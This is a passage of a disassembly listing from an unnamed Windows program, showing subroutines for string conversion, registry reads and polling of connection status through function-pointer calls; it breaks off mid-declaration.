		push	esi
		mov	esi, ecx
		push	edi
		mov	[ebp+var_8], esi
		mov	al, [esi+4B5h]
		test	al, al
		jz	loc_409B48
		xor	eax, eax
		lea	edi, [esi+98h]
		cmp	edi, eax
		mov	[ebp+bstrString], eax
		mov	[ebp+lpMem], eax
		mov	[ebp+var_34], eax
		mov	[ebp+var_30], al
		mov	[ebp+var_12], al
		jnz	short loc_409A0C
		mov	[ebp+lpString],	eax
		jmp	short loc_409A3F
; ---------------------------------------------------------------------------


loc_409A0C:				; CODE XREF: sub_4099D0+35j
		push	edi		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ebx, esp
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	edi		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [ebx],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	esi, [ebp+var_8]
		mov	[ebp+lpString],	ebx


loc_409A3F:				; CODE XREF: sub_4099D0+3Aj
		mov	eax, [ebp+lpString]
		push	eax		; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	ebx, eax
		mov	eax, [ebp+bstrString]
		test	eax, eax
		mov	[ebp+var_C], ebx
		jnz	short loc_409A59
		xor	edi, edi
		jmp	short loc_409A62
; ---------------------------------------------------------------------------


loc_409A59:				; CODE XREF: sub_4099D0+83j
		push	eax		; BSTR
		call	ds:SysStringLen
		mov	edi, eax


loc_409A62:				; CODE XREF: sub_4099D0+87j
		lea	eax, [edi+ebx]
		push	eax		; ui
		push	0		; strIn
		mov	[ebp+var_10], eax
		call	ds:SysAllocStringLen
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_409AC1
		mov	esi, [ebp+bstrString]
		lea	eax, [edi+edi]
		mov	ecx, eax
		mov	edi, ebx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_C]
		mov	esi, [ebp+lpString]
		add	ecx, ecx
		lea	edi, [eax+ebx]
		mov	edx, ecx
		mov	eax, [ebp+var_10]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	word ptr [ebx+eax*2], 0
		mov	ecx, [ebp+bstrString]
		push	ecx		; bstrString
		call	ds:SysFreeString
		mov	esi, [ebp+var_8]
		mov	[ebp+bstrString], ebx


loc_409AC1:				; CODE XREF: sub_4099D0+A5j
		mov	edx, lpValueName
		mov	eax, lpSubKey
		push	1		; hKey
		push	edx		; lpValueName
		push	eax		; lpSubKey
		lea	ecx, [ebp+bstrString]
		call	sub_40ABF0
		mov	ecx, off_40F27C
		mov	edx, lpSubKey
		push	1		; hKey
		push	ecx		; lpValueName
		push	edx		; lpSubKey
		lea	ecx, [ebp+bstrString]
		call	sub_40ABF0
		mov	al, [esi+4B4h]
		test	al, al
		jz	short loc_409B27
		mov	ecx, [esi+8Ch]
		lea	eax, [esi+199h]
		push	80h		; iMaxLength
		add	ecx, 1Bh
		push	eax		; lpString2
		push	ecx		; lpString1
		call	ds:lstrcpynA	; lstrcpynA
		lea	edx, [esi+94h]
		push	0
		push	edx
		push	0
		call	dword ptr [esi+5F0h]


loc_409B27:				; CODE XREF: sub_4099D0+128j
		mov	eax, [ebp+lpMem]
		test	eax, eax
		jz	short loc_409B3E
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], 0


loc_409B3E:				; CODE XREF: sub_4099D0+15Cj
		mov	eax, [ebp+bstrString]
		push	eax		; bstrString
		call	ds:SysFreeString


loc_409B48:				; CODE XREF: sub_4099D0+16j
		mov	ecx, [esi+90h]
		mov	edx, [esi+8Ch]
		push	0
		push	0
		push	ecx
		lea	eax, [esi+98h]
		push	edx
		push	eax
		push	0
		call	dword ptr [esi+5E0h]
		lea	esp, [ebp-48h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4099D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409B80	proc near		; CODE XREF: sub_405C90+562p
					; sub_405C90+68Ap ...
		mov	eax, [ecx+8Ch]
		add	eax, 3DDh
		retn
sub_409B80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_409B90(LPCSTR lpString2)

sub_409B90	proc near		; CODE XREF: sub_409720+3Fp

lpString2	= dword	ptr  4

		mov	ecx, [ecx+8Ch]
		mov	eax, [esp+lpString2]
		push	81h		; iMaxLength
		add	ecx, 3DDh
		push	eax		; lpString2
		push	ecx		; lpString1
		call	ds:lstrcpynA	; lstrcpynA
		retn	4
sub_409B90	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_409BB0(LPCSTR lpString2)

sub_409BB0	proc near		; CODE XREF: sub_409720+47p

lpString2	= dword	ptr  4

		mov	ecx, [ecx+8Ch]
		mov	eax, [esp+lpString2]
		push	11h		; iMaxLength
		add	ecx, 3CCh
		push	eax		; lpString2
		push	ecx		; lpString1
		call	ds:lstrcpynA	; lstrcpynA
		retn	4
sub_409BB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409BD0	proc near		; CODE XREF: sub_409C20+16p
					; sub_409C40+19p
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ebx, [esi+4]
		lea	edi, [esi+199h]
		push	ebx		; lpString2
		push	edi		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	ebx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	ebx, ds:lstrcatA
		test	eax, eax
		jle	short loc_409BFF
		push	offset asc_40F708 ; ","
		push	edi		; lpString1
		call	ebx ; lstrcatA


loc_409BFF:				; CODE XREF: sub_409BD0+25j
		add	esi, 9
		push	esi		; lpString2
		push	edi		; lpString1
		call	ebx ; lstrcatA
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_409BD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409C10	proc near		; CODE XREF: sub_405C90+72Fp
		lea	eax, [ecx+4]
		retn
sub_409C10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_409C20(LPCSTR lpString2)

sub_409C20	proc near		; CODE XREF: sub_405830+287p
					; sub_406E00+27p ...

lpString2	= dword	ptr  4

		mov	eax, [esp+lpString2]
		push	esi
		mov	esi, ecx
		push	4		; iMaxLength
		push	eax		; lpString2
		lea	ecx, [esi+4]
		push	ecx		; lpString1
		call	ds:lstrcpynA	; lstrcpynA
		mov	ecx, esi
		call	sub_409BD0
		pop	esi
		retn	4
sub_409C20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_409C40(LPCSTR lpString2)

sub_409C40	proc near		; CODE XREF: sub_405830+29Cp
					; sub_406720+49Dp ...

lpString2	= dword	ptr  4

		mov	eax, [esp+lpString2]
		push	esi
		mov	esi, ecx
		push	80h		; iMaxLength
		push	eax		; lpString2
		lea	ecx, [esi+9]
		push	ecx		; lpString1
		call	ds:lstrcpynA	; lstrcpynA
		mov	ecx, esi
		call	sub_409BD0
		pop	esi
		retn	4
sub_409C40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_409C70(LPCSTR lpString2)

sub_409C70	proc near		; CODE XREF: sub_405830+262p
					; sub_406720+473p ...

lpString2	= dword	ptr  4

		mov	eax, [esp+lpString2]
		push	100h		; iMaxLength
		add	ecx, 29Bh
		push	eax		; lpString2
		push	ecx		; lpString1
		call	ds:lstrcpynA	; lstrcpynA
		retn	4
sub_409C70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_409C90(LPCSTR lpString2)

sub_409C90	proc near		; CODE XREF: sub_405830+277p
					; sub_406720+488p ...

lpString2	= dword	ptr  4

		mov	eax, [esp+lpString2]
		push	100h		; iMaxLength
		add	ecx, 39Ch
		push	eax		; lpString2
		push	ecx		; lpString1
		call	ds:lstrcpynA	; lstrcpynA
		retn	4
sub_409C90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409CB0	proc near		; CODE XREF: .text:00409D90p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [ecx+5B8h]
		inc	eax
		cmp	eax, 20h
		jl	short loc_409CBE
		xor	eax, eax


loc_409CBE:				; CODE XREF: sub_409CB0+Aj
		mov	edx, [esp+arg_0]
		mov	[ecx+eax*8+4B8h], edx
		mov	edx, [esp+arg_4]
		mov	[ecx+eax*8+4BCh], edx
		mov	[ecx+5B8h], eax
		retn	8
sub_409CB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409CE0	proc near		; CODE XREF: sub_406720+217p

var_4		= byte ptr -4

		push	ecx
		push	esi
		mov	esi, ecx
		push	0BB8h
		call	sub_409F90
		lea	eax, [esp+8+var_4]
		mov	ecx, esi
		push	eax
		call	sub_409DA0
		cmp	eax, 2001h
		jz	short loc_409D20
		push	edi
		mov	edi, ds:Sleep


loc_409D08:				; CODE XREF: sub_409CE0+3Dj
		push	1		; dwMilliseconds
		call	edi ; Sleep
		lea	ecx, [esp+0Ch+var_4]
		push	ecx
		mov	ecx, esi
		call	sub_409DA0
		cmp	eax, 2001h
		jnz	short loc_409D08
		pop	edi


loc_409D20:				; CODE XREF: sub_409CE0+1Fj
		lea	edx, [esi+4B0h]
		xor	eax, eax
		push	edx
		push	offset loc_409D80
		lea	ecx, [esi+94h]
		push	eax
		push	ecx
		mov	dword ptr [esi+5C4h], 1
		mov	[esi+5C8h], eax
		mov	[esi+5CCh], eax
		push	eax
		mov	dword_40FBDC, esi
		push	eax
		mov	[esi+5BCh], eax
		mov	[esi+5B8h], eax
		mov	dword ptr [esi+5C0h], 0FFFFFFFFh
		call	dword ptr [esi+5D4h]
		pop	esi
		pop	ecx
		retn
sub_409CE0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_409D80:				; DATA XREF: sub_409CE0+49o
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		push	eax
		push	ecx
		mov	ecx, dword_40FBDC
		call	sub_409CB0
		retn	0Ch
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409DA0	proc near		; CODE XREF: sub_406720+10Ep
					; sub_406720+170p ...

var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
arg_0		= dword	ptr  4

		sub	esp, 0A0h
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+5BCh]
		mov	ecx, [esi+5B8h]
		cmp	ecx, eax
		jz	loc_409E42
		inc	eax
		cmp	eax, 20h
		jl	short loc_409DC6
		xor	eax, eax


loc_409DC6:				; CODE XREF: sub_409DA0+22j
		mov	edx, [esp+0A8h+arg_0]
		mov	ecx, [esi+eax*8+4BCh]
		mov	[edx], ecx
		mov	edi, [esi+eax*8+4B8h]
		mov	[esi+5C0h], eax
		mov	[esi+5BCh], eax
		mov	eax, edi
		sub	eax, 2000h
		jz	short loc_409E2E
		dec	eax
		jnz	short loc_409E35
		mov	eax, [esi+5C4h]
		test	eax, eax
		jz	short loc_409E35
		cmp	eax, 2
		jnz	short loc_409E0B
		call	sub_40B4C8
		jmp	short loc_409E11
; ---------------------------------------------------------------------------


loc_409E0B:				; CODE XREF: sub_409DA0+62j
		mov	eax, [esi+5C8h]


loc_409E11:				; CODE XREF: sub_409DA0+69j
		mov	[esi+5CCh], eax
		mov	eax, edi
		mov	dword ptr [esi+5C4h], 0
		pop	edi
		pop	esi
		add	esp, 0A0h
		retn	4
; ---------------------------------------------------------------------------


loc_409E2E:				; CODE XREF: sub_409DA0+50j
		mov	byte ptr [esi+4B4h], 1


loc_409E35:				; CODE XREF: sub_409DA0+53j
					; sub_409DA0+5Dj
		mov	eax, edi
		pop	edi
		pop	esi
		add	esp, 0A0h
		retn	4
; ---------------------------------------------------------------------------


loc_409E42:				; CODE XREF: sub_409DA0+18j
		mov	ecx, [esi+4B0h]
		test	ecx, ecx
		jnz	short loc_409E69
		mov	ecx, [esp+0A8h+arg_0]
		pop	edi
		mov	eax, 2001h
		pop	esi
		mov	dword ptr [ecx], 0
		add	esp, 0A0h
		retn	4
; ---------------------------------------------------------------------------


loc_409E69:				; CODE XREF: sub_409DA0+AAj
		test	eax, eax
		jge	short loc_409E8A
		mov	edx, [esp+0A8h+arg_0]
		pop	edi
		mov	eax, 2001h
		pop	esi
		mov	dword ptr [edx], 0
		add	esp, 0A0h
		retn	4
; ---------------------------------------------------------------------------


loc_409E8A:				; CODE XREF: sub_409DA0+CBj
		mov	eax, [esi+5C0h]
		mov	edi, [esp+0A8h+arg_0]
		mov	ecx, [esi+eax*8+4BCh]
		mov	[edi], ecx
		mov	edx, [esi+5C0h]
		mov	eax, [esi+edx*8+4B8h]
		cmp	eax, 2000h
		jz	short loc_409EC3
		cmp	eax, 2001h
		jz	short loc_409EC3
		test	ecx, ecx
		jz	loc_409F7C


loc_409EC3:				; CODE XREF: sub_409DA0+112j
					; sub_409DA0+119j
		mov	ecx, [esi+4B0h]
		lea	eax, [esp+0A8h+var_A0]
		push	eax
		push	ecx
		mov	[esp+0B0h+var_A0], 0A0h
		call	dword ptr [esi+5ECh]
		cmp	eax, 6
		jnz	short loc_409F41
		push	0BB8h
		mov	ecx, esi
		call	sub_409F90
		mov	eax, [esi+4B0h]
		test	eax, eax
		jz	short loc_409F02
		mov	dword ptr [esi+4B0h], 0


loc_409F02:				; CODE XREF: sub_409DA0+156j
		cmp	dword ptr [esi+5C4h], 3
		jnz	short loc_409F21
		mov	edx, [esi+5C8h]
		mov	dword ptr [esi+5C4h], 0
		mov	[esi+5CCh], edx


loc_409F21:				; CODE XREF: sub_409DA0+169j
		mov	dword ptr [esi+5C0h], 0FFFFFFFFh
		mov	dword ptr [edi], 0
		pop	edi
		mov	eax, 2001h
		pop	esi
		add	esp, 0A0h
		retn	4
; ---------------------------------------------------------------------------


loc_409F41:				; CODE XREF: sub_409DA0+140j
		cmp	dword ptr [esi+5C4h], 1
		jnz	short loc_409F6A
		mov	eax, [esp+0A8h+var_9C]
		cmp	eax, 2000h
		jnz	short loc_409F7C
		call	sub_40B4C8
		mov	[esi+5C8h], eax
		mov	dword ptr [esi+5C4h], 2


loc_409F6A:				; CODE XREF: sub_409DA0+1A8j
		mov	eax, [esp+0A8h+var_9C]
		cmp	eax, 2000h
		jnz	short loc_409F7C
		mov	byte ptr [esi+4B4h], 1


loc_409F7C:				; CODE XREF: sub_409DA0+11Dj
					; sub_409DA0+1B3j ...
		pop	edi
		pop	esi
		add	esp, 0A0h
		retn	4
sub_409DA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409F90	proc near		; CODE XREF: sub_406720+50p
					; sub_406720+148p ...

var_A0		= dword	ptr -0A0h
arg_0		= dword	ptr  4

		sub	esp, 0A0h
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4B0h]
		mov	dword ptr [esi+5C0h], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_40A016
		push	eax
		call	dword ptr [esi+5E4h]
		mov	ecx, [esi+4B0h]
		lea	eax, [esp+0ACh+var_A0]
		push	eax
		push	ecx
		mov	[esp+0B4h+var_A0], 0A0h
		call	dword ptr [esi+5ECh]
		cmp	eax, 6
		jz	short loc_40A00C
		mov	edi, ds:Sleep
		mov	ebp, [esp+0ACh+arg_0]


loc_409FE2:				; CODE XREF: sub_409F90+7Aj
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		jz	short loc_40A016
		push	1		; dwMilliseconds
		call	edi ; Sleep
		mov	ecx, [esi+4B0h]
		lea	eax, [esp+0ACh+var_A0]
		push	eax
		push	ecx
		mov	[esp+0B4h+var_A0], 0A0h
		call	dword ptr [esi+5ECh]
		cmp	eax, 6
		jnz	short loc_409FE2


loc_40A00C:				; CODE XREF: sub_409F90+43j
		mov	dword ptr [esi+4B0h], 0


loc_40A016:				; CODE XREF: sub_409F90+1Dj
					; sub_409F90+57j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0A0h
		retn	4
sub_409F90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40A030	proc near		; CODE XREF: sub_406720+BEp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, 19C8h
		call	sub_40AF70
		push	ebx
		mov	ebx, ecx
		lea	eax, [esp+4]
		lea	ecx, [esp+4+arg_0]
		push	eax
		lea	edx, [esp+8+arg_4]
		push	ecx
		push	edx
		mov	[esp+10h+arg_0], 19C0h
		mov	[esp+10h+arg_4], 19Ch
		call	dword ptr [ebx+5E8h]
		test	eax, eax
		jz	short loc_40A070
		xor	al, al
		pop	ebx
		add	esp, 19C8h
		retn
; ---------------------------------------------------------------------------


loc_40A070:				; CODE XREF: sub_40A030+34j
		mov	eax, [esp+10h+var_C]
		push	esi
		xor	esi, esi
		test	eax, eax
		jbe	short loc_40A099
		push	edi
		lea	edi, [esp+18h]


loc_40A080:				; CODE XREF: sub_40A030+66j
		mov	eax, [edi]
		push	eax
		call	dword ptr [ebx+5E4h]
		mov	eax, [esp+1Ch+var_10]
		inc	esi
		add	edi, 19Ch
		cmp	esi, eax
		jb	short loc_40A080
		pop	edi


loc_40A099:				; CODE XREF: sub_40A030+49j
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 19C8h
		retn
sub_40A030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40A0B0	proc near		; CODE XREF: sub_406720+26p
					; sub_406720+4FDp
		push	esi
		mov	esi, ecx
		mov	eax, [esi+5C4h]
		test	eax, eax
		jz	short loc_40A0EF
		cmp	eax, 1
		jle	short loc_40A0EB
		cmp	eax, 3
		jg	short loc_40A0EB
		call	sub_40B4C8
		mov	edx, [esi+5C8h]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		imul	ecx
		mov	eax, edx
		pop	esi
		sar	eax, 6
		mov	ecx, eax
		shr	ecx, 1Fh
		add	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40A0EB:				; CODE XREF: sub_40A0B0+10j
					; sub_40A0B0+15j
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40A0EF:				; CODE XREF: sub_40A0B0+Bj
		mov	ecx, [esi+5CCh]
		mov	edx, [esi+5C8h]
		sub	ecx, edx
		mov	eax, 10624DD3h
		imul	ecx
		mov	eax, edx
		pop	esi
		sar	eax, 6
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_40A0B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40A120	proc near		; CODE XREF: sub_406720+EFp

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, 19C8h
		call	sub_40AF70
		lea	eax, [esp+0]
		lea	edx, [esp+arg_0]
		push	eax
		lea	eax, [esp+4+arg_4]
		push	edx
		push	eax
		mov	[esp+0Ch+arg_0], 19C0h
		mov	[esp+0Ch+arg_4], 19Ch
		call	dword ptr [ecx+5E8h]
		test	eax, eax
		jz	short loc_40A15D
		or	eax, 0FFFFFFFFh
		add	esp, 19C8h
		retn
; ---------------------------------------------------------------------------


loc_40A15D:				; CODE XREF: sub_40A120+31j
		mov	eax, [esp+0Ch+var_C]
		add	esp, 19C8h
		retn
sub_40A120	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40A170(int,LPCWSTR lpString,int)

sub_40A170	proc near		; CODE XREF: sub_406560+FAp

MultiByteStr	= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
lpString	= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		mov	edx, [ebp+lpString]
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+MultiByteStr]
		push	200h
		push	eax
		push	edx
		mov	[ebp+MultiByteStr], 0
		call	dword ptr [ecx+5D8h]
		lea	eax, [ebp+MultiByteStr]
		test	eax, eax
		jnz	short loc_40A1A8
		mov	[ebp+lpString],	eax
		jmp	short loc_40A1E4
; ---------------------------------------------------------------------------


loc_40A1A8:				; CODE XREF: sub_40A170+31j
		lea	ecx, [ebp+MultiByteStr]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	edi, esp
		push	esi		; cchWideChar
		push	edi		; lpWideCharStr
		lea	edx, [ebp+MultiByteStr]
		push	0FFFFFFFFh	; cbMultiByte
		push	edx		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [edi],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	[ebp+lpString],	edi


loc_40A1E4:				; CODE XREF: sub_40A170+36j
		mov	eax, [ebp+lpString]
		push	eax		; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	ebx, [ebp+arg_8]
		mov	edi, eax
		mov	[ebp+var_C], edi
		mov	eax, [ebx]
		test	eax, eax
		jnz	short loc_40A200
		xor	esi, esi
		jmp	short loc_40A209
; ---------------------------------------------------------------------------


loc_40A200:				; CODE XREF: sub_40A170+8Aj
		push	eax		; BSTR
		call	ds:SysStringLen
		mov	esi, eax


loc_40A209:				; CODE XREF: sub_40A170+8Ej
		lea	eax, [esi+edi]
		push	eax		; ui
		push	0		; strIn
		mov	[ebp+var_4], eax
		call	ds:SysAllocStringLen
		test	eax, eax
		mov	[ebp+var_8], eax
		jz	short loc_40A267
		lea	ecx, [esi+esi]
		mov	esi, [ebx]
		mov	[ebp+arg_8], ecx
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_C]
		mov	esi, [ebp+lpString]
		add	ecx, ecx
		lea	edi, [edx+eax]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_4]
		mov	word ptr [eax+ecx*2], 0
		mov	edx, [ebx]
		push	edx		; bstrString
		call	ds:SysFreeString
		mov	eax, [ebp+var_8]
		mov	[ebx], eax


loc_40A267:				; CODE XREF: sub_40A170+ADj
		mov	ecx, [ebx]
		push	ecx		; BSTR
		call	ds:SysStringLen
		mov	edx, [ebx]
		push	eax		; ui
		push	edx		; strIn
		call	ds:SysAllocStringLen
		mov	edx, [ebp+arg_0]
		lea	esi, [ebx+0Ch]
		lea	esp, [ebp-218h]
		mov	[edx], eax
		mov	eax, [ebx+4]
		mov	[edx+4], eax
		mov	ecx, [ebx+8]
		mov	[edx+8], ecx
		lea	edi, [edx+0Ch]
		mov	ecx, 7
		rep movsd
		movsw
		mov	al, [ebx+2Ah]
		pop	edi
		mov	[edx+2Ah], al
		pop	esi
		mov	eax, edx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_40A170	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40A2C0	proc near		; CODE XREF: sub_405C90+4ABp
		mov	al, 1
		mov	[ecx+4B5h], al
		retn
sub_40A2C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40A2D0	proc near		; CODE XREF: sub_4036E0+10Bp
					; sub_4036E0+216p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jnz	short loc_40A2DF
		xor	ebx, ebx
		jmp	short loc_40A2E8
; ---------------------------------------------------------------------------


loc_40A2DF:				; CODE XREF: sub_40A2D0+9j
		push	eax		; BSTR
		call	ds:SysStringLen
		mov	ebx, eax


loc_40A2E8:				; CODE XREF: sub_40A2D0+Dj
		mov	eax, [esi+8]
		lea	edi, [ebx+1]
		cmp	eax, edi
		ja	short loc_40A319
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40A302
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4


loc_40A302:				; CODE XREF: sub_40A2D0+27j
		push	edi		; dwBytes
		mov	[esi+8], edi
		call	sub_40AE50
		add	esp, 4
		mov	[esi+4], eax
		test	eax, eax
		jnz	short loc_40A319
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40A319:				; CODE XREF: sub_40A2D0+20j
					; sub_40A2D0+43j
		mov	eax, [esi+4]
		push	0		; lpUsedDefaultChar
		push	0		; lpDefaultChar
		mov	byte ptr [eax],	0
		mov	ecx, [esi+8]
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx		; cbMultiByte
		push	edx		; lpMultiByteStr
		push	ebx		; cchWideChar
		push	eax		; lpWideCharStr
		push	0		; dwFlags
		push	0		; CodePage
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		mov	ecx, [esi+4]
		pop	edi
		mov	byte ptr [ebx+ecx], 0
		mov	eax, [esi+4]
		pop	esi
		pop	ebx
		retn
sub_40A2D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40A350(LPCSTR lpString2,int)

sub_40A350	proc near		; CODE XREF: sub_4039C0+1BFp
					; sub_4039C0+2D6p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
lpString2	= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	esi, [eax+1]
		mov	[ebp+var_4], ecx
		push	esi		; dwBytes
		call	sub_40AE50
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		mov	[ebp+var_C], edi
		jnz	short loc_40A382
		xor	al, al
		lea	esp, [ebp-18h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------


loc_40A382:				; CODE XREF: sub_40A350+22j
		mov	ecx, [ebp+lpString2]
		push	esi		; iMaxLength
		push	ecx		; lpString2
		push	edi		; lpString1
		call	ds:lstrcpynA	; lstrcpynA
		push	edi		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ebx, esp
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	edi		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	[ebp+lpString2], ebx
		mov	word ptr [ebx],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		push	ebx		; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	edx, [ebp+var_4]
		mov	ebx, eax
		mov	[ebp+arg_4], ebx
		mov	eax, [edx]
		test	eax, eax
		jnz	short loc_40A3D7
		xor	esi, esi
		jmp	short loc_40A3E0
; ---------------------------------------------------------------------------


loc_40A3D7:				; CODE XREF: sub_40A350+81j
		push	eax		; BSTR
		call	ds:SysStringLen
		mov	esi, eax


loc_40A3E0:				; CODE XREF: sub_40A350+85j
		add	ebx, esi
		push	ebx		; ui
		push	0		; strIn
		mov	[ebp+var_8], ebx
		call	ds:SysAllocStringLen
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40A441
		mov	edx, [ebp+var_4]
		lea	eax, [esi+esi]
		mov	ecx, eax
		mov	edi, ebx
		mov	esi, [edx]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+arg_4]
		mov	esi, [ebp+lpString2]
		add	ecx, ecx
		lea	edi, [eax+ebx]
		mov	edx, ecx
		mov	eax, [ebp+var_8]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	esi, [ebp+var_4]
		mov	word ptr [ebx+eax*2], 0
		mov	ecx, [esi]
		push	ecx		; bstrString
		call	ds:SysFreeString
		mov	edi, [ebp+var_C]
		mov	[esi], ebx


loc_40A441:				; CODE XREF: sub_40A350+A2j
		push	edi		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	al, 1
		lea	esp, [ebp-18h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_40A350	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40A460(HKEY	cbData,LPCSTR lpSubKey,LPCSTR lpValueName)

sub_40A460	proc near		; CODE XREF: sub_4039C0+2BEp
					; sub_40A600+Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
Type		= dword	ptr -0Ch
var_8		= dword	ptr -8
hKey		= dword	ptr -4
